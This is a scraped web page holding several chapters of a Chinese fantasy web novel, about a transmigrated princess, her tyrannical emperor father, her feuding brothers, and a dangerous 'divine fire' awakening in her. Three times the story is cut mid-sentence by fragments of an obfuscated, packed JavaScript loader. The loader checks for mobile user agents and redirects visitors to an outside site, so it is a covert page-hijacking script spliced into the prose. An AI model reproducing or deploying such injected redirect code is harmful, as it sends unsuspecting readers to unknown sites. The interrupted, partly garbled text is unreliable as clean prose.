呜呜呜感谢我的穿越者老哥,哥你一定要在异世界改革下去啊,希望我能在有生之年看到我们南境架起铁路。 风伯捡起了一根树枝感慨道:“多么完美的形状。” 随之向雨师发起了挑战,两个人拿着根树枝你来我往了会,最后大汗淋漓地爬到我身边,我的烧烤已经快好了,空气中弥漫着香味,风伯和雨师这些年受我熏陶对美食颇有追求,我给他们分了两根烤好的肉串,两人好奇地咬了一口,然后开始对我大肆赞美,我被夸得满脸通红: “好啦好啦,快吃了。” 虞舟最近又忙起来了,我也不太清楚他在忙什么,反正肯定在搞事,大殿下的能折腾程度在虞都一直是有目共睹的。 本来我们仨春游玩得不亦乐乎,然而不出意外的话就出意外了,我去小溪边洗个菜的功夫烧烤架就被霸占了,一道头戴玄冕的身影正饶有兴致地盯着我摆在上面的烤肉,他身边还跟着一道人影,见我来两人同时看向我。 我:“……”爹你怎么能闲到跑这里来,你可是皇帝诶,你不上朝的吗。 天横帝君抬了抬下巴,十分不讲理地要求我给他上贡,他这种霸道的行为已经持续很多年了,我一般在心底偷偷骂他,搞不明白他为什么对抢我的东西这么执着,明明我的很多东西都是他赐的,每回他打下一座城池就会收获许多战利品,他会让我去挑选战利品,我有些抗拒这种行为,他的许多礼物都是带着血的,不知是前主人的血还是别人的血。 但他不知道,或许他不觉得这种行为有什么不对。有回我嘴馋想吃一种灵果,这种灵果只有东境的几座城池才有生长,珍贵异常,虞舟给我弄了几个之后我就十分念念不忘,不知怎的被他知道了,然后第二天我就知道南境暴君又一次出征了,他打下了东境的那几座城池,叫人给我送来了珍贵的灵果。 当时我看着盘子里的灵果满脑子都是“杨贵妃”和“荔枝”,我被自己的想法恶寒到了,之后陷入了深深的担忧,爹你这样很像个亡国之君啊! 我很担心史官是怎么写我们家的,但后来我转念一想南境可能没有史官,因为全被暴君砍头了。 好好的春游因为天横帝君的横插一脚变成了五人行,钟离休抱着剑懒懒地站在离我们不远不近的地方。 天横帝君尝了几口烧烤后就失去了兴趣,他不明白我为什么对吃这么感兴趣,还研究出来了这么多种吃法,对修炼我要是有这一半上心修为也不至于低成这个样子了。 对他的想法我只想“呸”一声,你这个异世界土著当然不理解我们对美食的追求了,人生要是吃不好也睡不好那活着也没意思了。 还是我哥理解我。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532103|186392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我给钟离休也送了几串烤肉,他看了几眼我的烧烤架,“虞舟送的?” 我挺了挺胸:“当然。” 羡慕吧,你就没有哥哥送礼物。 钟离休嘴里叼着根草,“虞悯那小子最近安分得不像话啊。” 这句话让我一下子警惕起来,虞悯静悄悄,一定在作妖,他肯定在想怎么暗杀他哥,找我麻烦是顺带的,这些年他和虞舟关系差到就差见面动手了,他还很蛮横地把我打成“大殿下派”,他觉得我已经站好队了,然而事实上我就算站队也没啥用啊,谁会在意一个废物公主的想法,我的份量轻飘飘的,在南境朝堂也没有话语权。 虞悯针对一切支持虞舟的人或物,他在南境并非没有支持者,毕竟天横帝君一共只有两个儿子,女儿是用来联姻的废物,未来的皇位肯定是在这两个儿子之中决定,所以许多人都蠢蠢欲动,虞悯虽性格喜怒无常但支持者也众多,因为他最大的优势就是肖似陛下。 两位殿下天资相近,性格与行事作风却南辕北辙。 我亲近虞舟,不仅是因为他与我来自同一个故乡,更是因为他还拥有着这个世界的人少有的仁慈。 四境之间战争不断,百余年前四皇之间曾经爆发过大规模战争,那一次大战就连圣者都亲自下场参战,诸境为了各自的信仰与国运长存不死不休。 四皇之间谁也奈何不了谁,各自都有圣者支持,各境都有道统常驻,南境当时的支持者是神道,神道在当时已濒临式微。如今的世界已鲜少有神灵诞生,只因众生不再信仰神灵,无人供奉神灵,神逐渐隐退,曾经一草一木皆可成神,随处可见神灵,江水中有河神,土地中有土地神,群山中有山神,闹市中有城隍神与夜游神,花草中有花神,诸如灶神、病神、喜神之类更是比比皆是。 南境帝君有封神之权。 那场战争足足持续了十年,打得天道日日降下劫雷示警,四境皆元气大伤,不得不暂时签下停战协议。 如今各境之间偶有小冲突但没有大战争,我勉强算出生在一个和平年代,虽然我身边的大多数人貌似都经历过那场战争,我尊重他们杀人的做法,但我依旧抗拒杀人,可能因为我上辈子生活在一个和平的国家,也有可能是因为我觉得父君的确对我有些宠爱,至少他没有逼迫过我杀人,那么我也不会劝他当个好人。 春游结束后风伯和雨师被东皇喊去训话了,我被钟离休拎回了家,他好像过几日要去北境战场支援盟友,自从南北结盟后东西也不甘落后结盟了,所以现在四境有两股势力,但我觉得各家都留了八百个心眼子,就像我爹我觉得他就挺想利用完盟友就背刺的。 ……我和微生弦真的能顺利成婚吗。 钟离休临走前不放心地叮嘱道:“最近离虞悯那小子远点知道没?” 我:“他又干了什么事?” 钟离休抱着手轻轻地啧了声, “这小子一年有三百六十天在想怎么弄死他哥,剩下的几天大概在想弄死他哥后怎么谋权篡位顺便料理你。” 我沉默了片刻,“那还是等他先弄死他哥吧。” 呵呵,虞舟那是那么容易就能弄死的吗,他爹都没能打死他,更何况他弟呢。 有时候就不能太过念叨另一个人,像我最近想着虞悯这么安静肯定在搞什么幺蛾子,然后就被他逮到了。 11. 11 我坐在秋千上,原本背后给我推秋千的人偶侍女不知何时不见了,取而代之的是一道黑衣身影。 虞悯问:“你想喊谁?” 我:“我不喊谁。”哥快来揍你弟! 虞悯:“你又在骗我。” 我:“我没有。”骗的就是你。 虞悯: “你在骂我。” 我: “没有。”神经病,王八蛋,有病就治,没事别学你爹,早就看你不爽了,等你落魄了最好不要落到我手里,不然我让你好看。 虞悯歪了歪头,黑袍垂到地上,边缘绣着暗纹,他肤色冷白,十指修长,只可惜气质太过阴郁危险,那双眼睛黑沉无光,他不紧不慢道: “你总是骗我,但你从不骗虞舟。” 我干脆利落道: “皇兄我错了。” 打不过就加入,这是三殿下多年来总结出来的生存智慧。 虞悯可怕地沉默了会,他一直认为我和虞舟“狼狈为奸”,他认为三殿下的势力已经归属了虞舟,如果他口中的“三殿下派”是指风伯和雨师的话那我实在搞不明白他有什么好生气的。 虽然不想这么说自己的小伙伴,但那两个人的智商加起来可能和大白虎半斤八两啊。 哥你皇位上的威胁不是我啊! 虞悯盯着我笑容突然消失,他像想起了什么露出了厌恶又烦躁的表情,他面无表情道:“你刚才是不是在想别人?” 我:“没有。”有我也不承认。 虞悯大笑:“要是让我发现你又在骗我,我就杀了虞舟。” ……呵呵这个威胁对我无用。 我对他的威胁不以为然,虞舟这些年在神经病老爹和丧心病狂弟弟的双重打击下活得好好的,我觉得他也挺无奈的,出生在这样一个家庭里,偏偏他又是南境的大皇子,他就算不想争也得争,就算他弟真的把他坑死了他爹也不会管的。 在大殿下派和二殿下派斗得如火如荼的时候,三殿下一直在前线吃瓜。 虽然如此我还是装出了一副很害怕的表情,多年来在一家神经病的压榨下我已经练就了一副炉火纯青的演技,该哭的时候就哭,该装聋作哑的时候就装聋作哑,这是三殿下多年来的宫斗生存智慧。 我给小时候的虞悯取了个外号,宫斗冠军。 ——他这样的人在宫斗剧里根本活不过三集! 我告诉你如果你不是父君的亲儿子父君早把你拖下去砍头了! 虞悯道:“还有那只肥猫。” 我瞬间炸毛,声调都高了起来:“不准碰我的猫!” 还有它那不叫“肥”,它只是毛厚! 虞悯笑得露出一口白牙,像深海里的大白鲨,危险又阴森:“我还以为你没有在意的东西呢。” “你、你——要是我的猫出了什么事,我不会放过你的!”我气势汹汹地放着狠话,心想着这段时日要带着大白猫避避风头。 虞悯哈哈大笑:“我等着。” 我真是害怕他对我的大白猫做什么,一回寝殿就命令人偶侍女们满皇宫地找它,把它抓回来后这祖宗还很不高兴地挠了人偶几爪子。 我忧心忡忡地抱着它,大白猫在我脖子边嗅来嗅去,大概没有嗅到别的猫气味安静地霸占了我的怀抱。 我抱着这“逆子”为自己和它的未来担忧,我跟它谈条件:“你要不最近去我师尊那里躲躲?” 大白猫“喵嗷”一声踹了我一脚。 我捂着脸憋泪,逆子,我不管你了! 就这样心惊胆战地过了几天,我没等到虞悯来抓我和大白猫母子,却等到了另一个消息。 我逃学的事情不知怎的被天横帝君知道了。 于是帝君大手一挥,以后全都给我去监督公主上学,谁敢放水拖下去砍头。 我的快活日子一去不复返了。 我慢吞吞地拿起一本书挡住自己的大半张脸,今天来监督我的人是云中君,昨天是大司命,前天是东皇,大前天是少司命,我本来每回上课都是在发呆或者补觉的,然而天横帝君一听不高兴了,吩咐手下人看好我,父君的原话是“这废物要是再给我混日子就给我好好收拾她”。 东皇大人求情无效后问道:“……如何收拾公主?” 天横帝君托着下巴似乎在思考,最后摆摆手,“别弄哭就行。” 台上的教习先生压力也很大,本来教的学生非富即贵,一个都得罪不起,平衡好师生关系就很累了,现在倒好,公主殿下上学怎么还带家属啊! 我也很心累,谁知道我爹最近又抽什么风了,云中君和东皇大人是何等人物,让他们轮流来监督我上学真的好吗? 毫无疑问,暴君的想法那是一般人能猜的吗? 我最近吃不好也睡不好,头发大把大把地掉,每天挑灯夜读,是的我爹那狗皇帝说要检查我的功课还要亲自过问我的成绩。 ……爹你都放养了我这么多年干嘛突然想体会一下为人父的感觉! 我憔悴地趴在桌子上,上眼皮跟下眼皮打架,想睡又不敢睡,如果今天监督我的人是少司命就好了,少司命姐姐看到我睡觉会默默地替我打掩护,但今天在我身旁的是一向看我不顺眼的云中君。 云中君坐在学堂的后排,偌大的学堂里鸦雀无声,只能听到上方先生的讲课声,云中君这般人物寻常人想见都见不到,没想到沾了公主的光最近这段时日南境重臣轮着在太渊学院现身。 然而没人敢偷看他,他周身的气压实在是太低了,锦袍男子低着头摩挲着自己拇指的扳指,我本来在专心记笔记的,但不知怎的脑袋越来越低,最后和书桌来了个亲密接触。 我梦到小时候过生日爸爸妈妈给我做奶油蛋糕的事了,他们切了很大的一块蛋糕递给我,给我唱生日歌,我一口咬在奶油蛋糕上,然后皱了皱眉,这蛋糕怎么味道怪怪的…… “公主殿下。”我听到一道仿佛在压抑着什么的声音,我从温馨的梦中醒来,被迫迎接冰冷的事实,云中君收回手,男人修长白皙的手指上赫然有几道牙印,他冷声道:“您醒了吗?” 我:“……醒了。” 这不是我咬的吧?不是吧,应该不是吧,肯定不是啦! 以云中君的性情竟然没有在被冒犯的第一时间劈了我,看来的确是对我们皇室忠心耿耿了。 云中君用一贯冷淡又透着傲慢的眼神望着我,“虽然您不学无术,但好歹是皇室的血脉,整日这般浑浑噩噩真是辱没了皇室门楣。大殿下和二殿下早早地就完成了学业,也只有您还在与一群庸才为伍了。” 我: “……” 无辜被骂的“庸才”们: “……” 这个男人的嘴巴毒起来能把我骂哭,除了父君和师尊谁都被他骂过,没想到今日竟然连累了我的同学们被一起骂了。 我垂头丧气地上完了一天的学,完全不敢打瞌睡也不敢开小差,后方一直有人在看我,被迫好好学习了一整天的我疲惫地回到了皇宫。 然后被领到了父君的寝殿。 天横帝君躺在榻上很不知人间疾苦地问我:“虞曦,学得怎么样啊?” 我心累道:“……还行。” 天横帝君叫人偶侍女把我的功课拿过来给他看,暴君翻开第一页,蓦地大笑。 我瞪他一眼,笑什么笑,我都认真完成了的。 天横帝君支着下颔笑:“从前给你找名师你都想尽千方百计地偷懒,看来还是没有好好逼一把,你看,这成果不就挺好的。” 他看着蔫头蔫脑的我,把我招到跟前,懒懒地命令道:“给我念书。” 我:“父君,您让侍女来念吧,我才散学……” 过了一会儿,我不情不愿地抱着本书坐在他的床前,天横帝君又失眠了,他经常睡不好觉,一睡不好就折磨别人,为此我特意去翻阅典籍想查查修为高的人都需要睡眠吗,得到了否定的答案。 ——所以说爹你明明可以不用睡觉干嘛一定要跟自己过不去呢! 我暂时不想承认他可能是学我的,他午睡也是学我的。 我给他念了会儿书,悄悄地看了他眼,天横帝君眼皮微阖,不知道睡没睡着,我默默离他远了点。 好热。 我把外衣脱了下来,念了没一会儿又脱了件衣服。 怎么这么热,我纳闷了会,腊月才刚刚过去啊,而且南境气候一直是冬暖夏凉的,只要不怕死就十分适合养老和旅游,据我所知虞舟就在致力于开发南境旅游业。 我偷瞄了眼父君见他没反应于是把鞋袜也脱了下来,我拿出风伯送的扇子给自己扇风,衣裙都被汗浸湿了,我把裙子往上方挽,露出半截小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532104|186392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿,但还是热得不行。 好热…… 天横帝君突然睁开眼,目光锋利如剑,我已经热到神志不清了,靠着冰凉的床檐不停地磨蹭着,父君的床是罕见的玄玉冰床,修为低的人躺上去就连内脏都会被冻住,也只有天横帝君这般的人物整天拿它当床睡了。 我被人抱上了冰床,身体一会儿冷一会儿热的,我听到父君低沉的声音,“虞曦,张嘴。” 我条件反射地张开了嘴,冰凉的液体顺着喉咙滚了下去,我彻底失去了意识。 离殊尊者匆匆赶来,他看到了冰床上昏迷的少女,她白皙的肌肤透着薄薄的红晕,乌发皆被汗湿。 圣者俯身摸了摸她的额头,被可怕的高温烫得蹙眉,这温度已经超出一般人的极限了,按理说以她的修为早就被烧成了灰烬,但她还活着。 离殊尊者缓缓道:“……神火。” 天横帝君神情莫测:“神火在我这里。” 离殊尊者道:“世间不会存在第二簇神火。” 神火是世间最霸道也最可怕的火焰,它能焚尽一切事物,神火不分敌我,没人能掌控它,它只有本能,烧尽一切的本能。 虞家人世世代代都是神火的载体。 天横帝君随手弹出一簇焦黑的火焰,空气中气温骤然升高,冰床上的少女仿佛察觉到了什么不适地喘息,离殊尊者平和道:“你用得太频繁了,神火会先烧死你。” 神火会烧死每一任宿主。 天横帝君哈哈笑道:“那看它是先烧死我还是先烧掉这个世界。” 离殊尊者望了这对父女一眼,虞家人都短命,鲜少有活到寿终正寝的,长烬帝君只在位了短短十年,虞殃杀了他后成为了新的神火之主,长烬帝君在历史上被称为“疯王”,他最常干的就是骑在黑龙的头上点火,神火在他身上时险些烧掉整个世界。 长烬帝君是个不折不扣的疯子,他在位的那十年里昆仑雪山只余焦土,西境银川河里日日都漂下来无数具焦尸,酆都鬼域夜夜听见烧死鬼的嚎哭。 神火凌驾于六道之上。 他死后四境都松了口气,然而谁都没预料到长烬帝君死后又出了个天横帝君。 虞殃自己没有意识到,他越来越像长烬帝君了,他的父亲,那位大名鼎鼎的“疯王”,虞家人摆脱不了“弑父”的诅咒,就像摆脱不了早夭一样。 虞殃还能活多久呢? 圣者不关心这个,皇位上坐的人是谁他都不在乎。 无论是虞舟还是虞悯还是虞曦,这三个孩子未来的命运都将紧密相连,因为他们是伏天氏最后的血脉,虞殃不会再有孩子的,他本就命中无子,伏天一脉本该在他这里断绝。 这三个孩子的出生是意外,但也是天意。 神火之主只会有一个。 或许虞殃会死在自己孩子的手上,亦或许他会被神火烧死。 也或许他在被神火烧死前先点燃了全世界。 离殊尊者摸了摸幼徒的额头,为她施法降了下温。 天横帝君盯着虞曦看了会。神火的宿主每时每刻都要忍受难以言喻的灼烧感,那不是常人能忍受的痛苦。 虞曦忍不了这样的痛的,要是她真的被神火寄生了,只怕是不到一刻钟就要哭着来找他了。 更何况她的修为根本不够神火烧的。 就像现在,仅仅是泄露出来的一点火苗就让她难受成这样,昏迷着也哭个不停,天横帝君啧了声,把她抱起来给她喂了点血的,不管她体内那簇火焰是真是假,神火之主的血液暂时能压下她体内的躁动。 虞曦整日待在他的眼皮子底下,谁能对她下手? 显然,离殊尊者也想到了这个问题,他垂眸望着幼徒,“此事需严查。” “陛下。”离殊尊者忽然望向天横帝君,“如果这簇火焰是真的,你打算如何做?” 天横帝君把她放在冰床上,神火的每一任宿主都没有什么好下场,神火的寄生带来的不是强大的力量而是无穷无尽的后患,有人盛年而衰有人疯魔自尽,南境皇室在历史上出过许多疯子,这是伏天氏刻在血脉里的诅咒。 虞家人就没几个长命的。 虞曦是个废物,每日吃喝玩乐就够她折腾了,神火不是她招惹得起的。 “哼。”南境暴君嗤笑了声。 12. 12 我做了一个噩梦,梦里有一个浑身着火的小男孩朝我扑过来,吓得我连滚带爬地往外面跑,男孩歪头盯着我,突然朝我咧嘴笑道: “姐姐,烧死他们。” 我满脸忧愁地跟雨师分享自己的噩梦,雨师露出若有所思的表情,他笃定道:“殿下,我南境皇室又要迎来新的血脉了。” 我缓缓地“啊”了声,雨师以一种“就算我错了那也肯定是你们的错”的语气信誓旦旦道:“昔有华胥氏感而受孕诞下羲皇,今有殿下梦游神迹承接天兆,种种迹象表明我南境皇室将迎来新的血脉。” “殿下,恭喜,您要有弟弟妹妹了。” 我沉默了片刻,开口道:“你刚才都是在骗我的对不对?” 假的吧,这一定是假的吧!南境皇室就没几个正常人,再来一个我受不住啊! 就这样,我茶不思饭不想地在晚膳的时候见到了天横帝君,我看看他又看看自己的碗,幽幽地叹了口气,忧虑地饭都少吃了一碗。 天横帝君挑眉:“你那是什么眼神?” 我脱口而出:“父君,您是不是要给我生弟弟妹妹了?” 气氛可怕地凝滞了下来,我话出口才意识到自己说了什么,抱着自己的碗装起了鹌鹑。 完了完了暴君不会一怒之下把我拖出去砍头吧…… 天横帝君没有把我拖出去砍头,他只是以一种十分古怪的眼神望着我,我一时忐忑,他招了招手,我视死如归地走到他的跟前去。 天横帝君弹了弹我的脑门,力道不小,我眼眶一红,憋着眼泪看他。 “你脑袋里装的都是什么东西?”天横帝君又弹了弹我的脑门。 ——绝对红了,我脑门绝对红了! 让我安心的是天横帝君暂时没有给我添个弟弟妹妹的想法,我连忙松了口气,不敢想象要是面对小一号的虞悯会是什么场景。 南境皇室一直以来人丁都称不上兴旺,父君这一代膝下也就我和虞舟还有虞悯三个孩子,听说我们家以前的每任皇帝或多或少都有点毛病,每任南境帝君都很不受四境待见,当然,不受待见到天横帝君这般程度的那也极为罕见。 我又上了几天的学,今天过来监督我的是湘君和湘夫人,他们是一对夫妻,经常一起出现,湘夫人身着华美的长袍,乌黑的长发几乎要拖到地上,头上戴着各种各样繁琐的羽饰,每走一步“叮铃”作响,湘君同样着华袍,戴高冠,腰系长带,耳垂上挂着模样特别的兽类耳饰。 我不由得多看了他们几眼,总觉得这对夫妻长得格外相似,难道这就是传说中的“夫妻相”吗? 湘夫人柔柔道:“殿下可是累了?累了便歇息会吧,陛下那边不必担忧。” 我抱着书叹气,也不知道这苦日子什么时候到头。 湘夫人低声哼唱了会,歌声似平静的秋水,有着安抚人心的奇妙力量。 我眯着眼听了会,勉强分辨出她在唱什么,我趴在她的腿上,湘夫人的怀抱带着香气,南境崇尚武力,整体气象都偏向阳刚,但湘夫人不喜争端,她和湘君最爱游山玩水,除非父君传召不然这对夫妻一年有大半的时间待在外面。 “殿下出落得越发美丽了。”湘夫人轻轻抚过我的脸颊,我被夸得有些不好意思,脸红道:“夫人也很美。” 湘夫人微笑道:“殿下若是成婚,妾身必亲自迎送。” 我趴在她的怀里撒娇:“夫人舍得我吗?” 湘夫人微叹道:“妾身看护殿下长大,殿下幼时娇憨可爱,及至今岁,已亭亭玉立,妾身自是不舍,殿下乃我等掌心明珠,当珍之爱之,又怎舍得?” 我“嘤嘤嘤”地扑进她的怀里,闷声闷气道,“我也舍不得夫人。” 我……其实我也没有那么想嫁给微生弦,或许说我也没有那么想嫁人,我觉得现在的生活就挺好的,每天和风伯雨师他们打打闹闹,偶尔去看看大白虎,旁观一下虞舟和虞悯斗法,虽然可能会被殃及池鱼,如果能一直这么下去就好了。 然而我也知道我是南境唯一的公主,我身上背负着联姻的责任,我是南北结盟的纽带,南北两境是因为我和微生弦之间的这门婚事才维持着这么多年的和平的,我不能如此任性。 湘夫人摸着我的头叹道:“殿下懂事了许多。” 若是不出意外,我将在一年后与微生弦成婚,他会来南境与我完成婚礼,再留在南境,我继续当我的公主,他继续当他的昆仑首徒,若是北境传召他需要赴往北境。 然而有时候就是这么世事难料,可能上天也看不顺眼我平平淡淡地过完这辈子吧。 天横帝君坐在龙椅上,台下座无虚席,东皇与大司命难得的眉头紧锁,云中君面无表情,虞舟和虞悯坐在我的两边,少司命坐在我的对面,就连一向神龙见首不见尾的“夺情手”温霂都侍候在了父君的身旁。 天横帝君手中停着一只玄鸟,玄鸟跨越万里送来消息后就化作灵气消散在了空中。 “微生弦——废了?” 帝君的声音不辨喜怒。 …… 北境昆仑有连绵的雪山,这里位于大陆的最北端,高大的昆仑山脉挡住了罡风和暴雪,这里就连空气都带着冰渣子。 两军交战。 一鼓作气,再而衰,三而竭。 钟离休背着剑懒洋洋地问一旁的男人:“东境派了多少人来?” 男人沉默了片刻,答道:“一人。” 千军万马,对一人。 钟离休收起了散漫的神情,他问道:“谁?” “酆都公主,青姽姬。” 尸人抬棺,金铃作响,白骨铺路,所到之处,片甲不留。 一人提着人皮灯笼往前走,一人青面獠牙舌头倒挂。 二人停住脚步,后方棺材上传来女人的声音。 “所到何方?” 吊死鬼道:“北境昆仑。” 饿死鬼道:“人道之城。” 青姽姬低低地叹息了声。 “人……是同胞啊。” 黑云压城,挡在青姽姬面前的,是北境大军,大军似沉默的猛兽,最前方有一道人影,那是一名女子,身量极高,足有八尺有余,头戴晨缨之冠,璎珞垂珠,悬琼琚环珮,脚踩高履,金羽霓裳,宝相庄严。 青姽姬道:“拦路者,何人?” “龟台妙法西池金母。” “噢……是你啊。”抬棺尸者停住脚步,吊死鬼与饿死鬼恭敬低头,青姽姬从棺材里走出,她穿着一身极繁琐的红裙,面容秀美,绸缎似的黑发及地,赤色大裘遮肩,一颦一笑皆是惊心动魄的艳诡。 亡者为她开路,魍魉奉她为尊。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532105|186392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“西王母。”青姽姬悠悠道,“瑶池盛宴,我们有过一面之缘。” 西王母道:“公主风姿,实在让人难忘。” 青姽姬道:“锦明城,归我们了。” “且来一试。”西王母道。 钟离休在北境大后方支援盟友,他怀着某些心思朝盟友说道:“微生家就派了你来?你们家那把‘山河剑’呢?” 男人扶着轮椅,面容苍白缺乏血色,他是微生家这一代的族长,“三日前,锦明城失陷,微生濋已经赶过去了,锦明之后是清都,清都之后就到了昆仑山脚,清都不能失陷。” “这么多人,拦不下一个人?” 族长平静道:“青姽姬擅驭鬼。” 活人死后,自然成了鬼。 钟离休看热闹不嫌事大,反正火没烧到自家门口他不着急,他对微生濋有点兴趣,毕竟一直被人拿来和他比较,他的确很好奇这位“北剑”的实力,不知和他这位“南剑”比如何。 族长看了他一眼,突然道:“前去支援的,还有微生弦。” 钟离休的笑容淡了下来,他抱着手意味不明道:“那小子不怕死?” “昆仑首徒,当冲锋在前。”族长道。 “哼。”钟离休冷哼一声,周身气势一下变得咄咄逼人起来,“昆仑首徒?他现在是我南境公主的未婚夫婿,这小子最好给我老实回来,配公主殿下是他的荣幸,我南境的金枝玉叶可不是什么人都能染指的,他若是出了什么事想置公主殿下于何地?” 玄鸟飞至族长肩头,族长神情微变,钟离休阴沉道:“前线情况如何?” 他从族长的脸上得到了些许答案,不再言语,背起剑转身就走。 “微生弦……”青姽姬坐在白骨堆上,手中捧着一面镜子幽幽叹气,“好一个昆仑首徒……” 吊死鬼道:“殿下,有人来了。” 饿死鬼道:“微生氏。” 昔日繁华仙都已作鬼蜮,钟离休赶至时只见这座城池已没有活口。 一只水鬼从下方探出,钟离休随手砍断了他的头,然而砍完一只惊动一群,他从众鬼中杀出来只见一红裙女子正端坐于白骨堆上看他。 一道剑光划过天空。 剑落,人至。 “……微生濋。” 山河剑,到了。 钟离休找了个合适的地方看戏,他暂时还不想出手,能看看这位大名鼎鼎的“北剑”是何水平这一趟也算来得不亏。 青姽姬从白骨堆上走下,瞳光幽黑,十指纤白,红裙曳地,周边竟凭空亮起了数十盏鬼火灯笼,她每走一步灯笼就熄灭一盏。 她看向微生濋:“……人。” 又转头看向钟离休:“……神。” 微生濋:“鬼。” 青姽姬歪头问道:“你们要一起上吗?” 微生濋:“我一人,足矣。” 数不清的鬼火点燃了城池,魑魅魍魉,阴兵出行,凡人退让,与此同时微生濋悍然拔剑。 世人鲜少见微生濋拔剑,只因他乃名动天下的山河剑。 山河剑出鞘,必当撼动山河。 气压山河,力破万法。 无人能挡,无人能敌。 剑光所到之处,无数恶鬼灰飞烟灭。 三道会战,人道略胜一筹。 13. 13 微生弦废了。 我得知这个消息的时候愣在了原地,有那么一瞬间我都没反应过来发生了什么。 一道身影从外面走来,背负长剑,轮廓深邃,正是几日前赶往北境支援的钟离休。 天横帝君坐在龙椅上喜怒不辨:“微生弦,谁废的?” 钟离休缓缓道:“酆都公主,青姽姬,西境邬都,太子渊。” 一个是东境公主,一个是西境太子,看来东西二境图谋已久。 微生弦与南境公主的婚约一旦出现裂痕,那么南北联盟也将摇摇欲坠。 我魂不守舍地听着这些,心中不知作何感想,我自小就与微生弦有婚约,我们书信往来了许多年,这次意外几乎打破了我全部的人生规划,我……我一直以为我会顺利和微生弦成婚的。 我的婚姻不是自己能决定的,真正能做决定的人坐在龙椅上,大司命站出来道:“陛下,公主婚事关系重大,需从长计议。” 此次朝会就这样结束了,我独自一人坐在湖心凉亭里发呆,不知道自己未来的命运会是怎样的,父君会让我退婚吗?我不知道,我从未想过微生弦会出事。 唉,好烦。 我愁眉苦脸,随意将一块石头踢下湖,湖面荡起涟漪,我皱起脸一回头却被吓了一跳。 “师、师尊?” 离殊尊者不知何时站在了我的身后,尊者白发白袍,气息内敛深不可测,他平视着我,喊了声我的名字。 “近日修为如何?”离殊尊者问。 我愣了愣才道:“还是老样子……” 师尊您还不了解自己徒弟吗,教了我这么多年都没把我教开窍,我到现在都没弄明白师尊当初为什么收我为徒。 离殊尊者垂眸望了我一眼,他让我给他看看我最近的成果,我虽不明所以但还是照做了。 我会的东西很少,五行术法之类的更是一窍不通,这些年唯一学会的也就是一个离卦御火了,然而我平时最多只能搓出一团小火焰,在我烧烤的时候起到一个点火的作用,其余更多的就做不到了。 我原以为这次又会像之前那样只能点燃一簇小火焰,但没想到我掌心的那团火焰越来越大,我周身的气温越来越高,我额头已经开始冒汗了,感觉自己浑身的力气都被那团火焰吸走了。 离殊尊者轻点我的手心,叹道,“好了,停下来吧。” “师尊……”我茫然地望着自己的手心,刚才那是我做的吗?我的御火术什么时候这么厉害了? 我忽然感觉眼前一阵发黑,下一刻就倒在了一个怀抱里。 离殊尊者抱住了脱力晕倒的少女,他伸手在她的额头轻碰,不出意外地发现她的体温高得可怕。 伏天氏代代皆是天骄,他们这一族得天独厚,修炼起来鲜少遇到关隘,天资与气运之强甚至被天所妒。 虞曦算伏天氏里的一个异类,她的天资其实说不上差,但在伏天氏这样一个天之骄子频出的氏族里就显得极为平庸了。 伏天氏多年来出过无数天骄,纯血伏天血脉修炼只需百年就可匹敌圣者,但伏天氏鲜少出过圣者,只因他们大多半道早夭,伏天一脉鲜少有真正成长起来的。 南境皇室这一代有三个新生儿降生,与从前比起来甚至算得上多了,三个孩子从小就备受重视,即使是天资平平的三公主,这三个孩子长大得不容易,让他们不早夭更不容易。 这一代的神火之主是虞殃,神火之主只会有一个,虞曦身上的这簇火焰来得诡异,但离殊尊者没有感受到对她的伤害,这才是最不可思议的,如果这真的是神火的话,以神火的霸道早就烧死虞曦了,但它竟然安静地蛰伏在她的身上,若不是恰好与虞殃身上的神火产生了共鸣,他们都不会发现虞曦身上的这簇火焰。 世间会存在两簇神火吗? 离殊尊者轻轻拂袖,衣摆处被烧穿的破洞开始自动复原,仅仅是一个普通的五行术法,但虞曦使用出来竟然烧穿了圣者的护体灵气,神火之威可见一斑。 离殊尊者忽然一顿,神火不仅烧穿了他的衣摆,还点燃了她的裙摆,圣者静了会儿才脱下外衣披在她的身上,然而没一会儿就被她自己踢掉了,她的额上爬满了细密的汗珠,热得发出无意识的呻吟。 “师尊,好热……”她半梦半醒间委屈倾诉道,觉得师尊的怀抱和他本人一样带着崖雪般的寒意。 离殊尊者垂眸望向幼徒,圣者白发胜雪,气质如不化积雪清冽平和,无欲无垢。 “凝神。”离殊尊者道。 他抱着徒弟去了天横帝君的寝殿,帝君躺在榻上,见他来挑了挑眉,看到他怀里的人时神情变得有些危险。 “这的确是神火。”离殊尊者淡淡道。 他将幼徒放在冰床上,触碰到冰床她才消停下来,圣者不疾不徐道:“伏天血脉可以延缓神火焚烧的速度,但再这样下去,神火会烧死她。” 以神火的霸道,没有顷刻间让她灰飞烟灭就算不可思议了。 